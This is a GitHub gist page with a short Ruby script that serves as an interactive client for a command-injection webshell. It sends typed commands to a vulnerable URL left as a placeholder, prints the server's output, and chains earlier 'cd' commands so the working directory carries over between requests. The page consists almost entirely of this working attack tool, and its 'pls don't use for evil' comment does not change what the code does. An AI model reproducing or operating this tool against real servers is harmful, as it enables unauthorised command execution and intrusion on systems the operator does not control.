Skip to content

Instantly share code, notes, and snippets.

@dmyates
Last active March 2, 2016 14:30
Show Gist options
  • Save dmyates/920f2ed10b6470c86bb6 to your computer and use it in GitHub Desktop.
Save dmyates/920f2ed10b6470c86bb6 to your computer and use it in GitHub Desktop.
Directory persistence hack for command-execution webshells
# Simple directory-aware webshell hack
# Todo: get open-uri to co-operate with shell args for URLs
# For now, put the whole command-injection-vulnerable URL in the place indicated
# pls don't use for evil
require 'open-uri'
prefix = ""
command = "whoami"
while true
print "> "
command = gets.chomp
exit if command == "exit"
result = ""
open("#{URLGOESHERE}"+URI::encode(prefix+command)) do |http|
result = http.read
end
puts prefix+command
#keep directory
prefix += command+";" if command.include? "cd"
puts "\n#{result}"
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment